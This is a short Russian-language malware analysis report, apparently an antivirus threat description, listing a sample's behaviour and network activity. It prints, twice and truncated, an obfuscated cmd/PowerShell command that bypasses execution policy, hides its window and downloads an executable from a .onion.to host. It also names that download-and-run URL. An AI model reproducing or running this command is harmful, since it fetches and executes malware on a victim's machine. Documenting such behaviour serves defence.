Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://hl3gj7zkxjvo6cra.onion.to/svchost.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OwERshEl^l.^eXe -E^X^eCUtI^onp^O^l^icY^ b^yP^ASs -NoprO^F^ile ^-w^indo^wST^Y^lE hiDDe^n (nEw-oBJ^E^c^T s^YsTeM.NET.^w^E^bc^LIeNT).DO^WnlOaDfiL^E^('https://hl3gj7zkxjvo...
Сетевая активность
Подключается к
- 'hl######xjvo6cra.onion.to':443
UDP
- DNS ASK hl######xjvo6cra.onion.to
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OwERshEl^l.^eXe -E^X^eCUtI^onp^O^l^icY^ b^yP^ASs -NoprO^F^ile ^-w^indo^wST^Y^lE hiDDe^n (nEw-oBJ^E^c^T s^YsTeM.NET.^w^E^bc^LIeNT).DO^WnlOaDfiL^E^('https://hl3gj7zkxjvo...' (со скрытым окном)
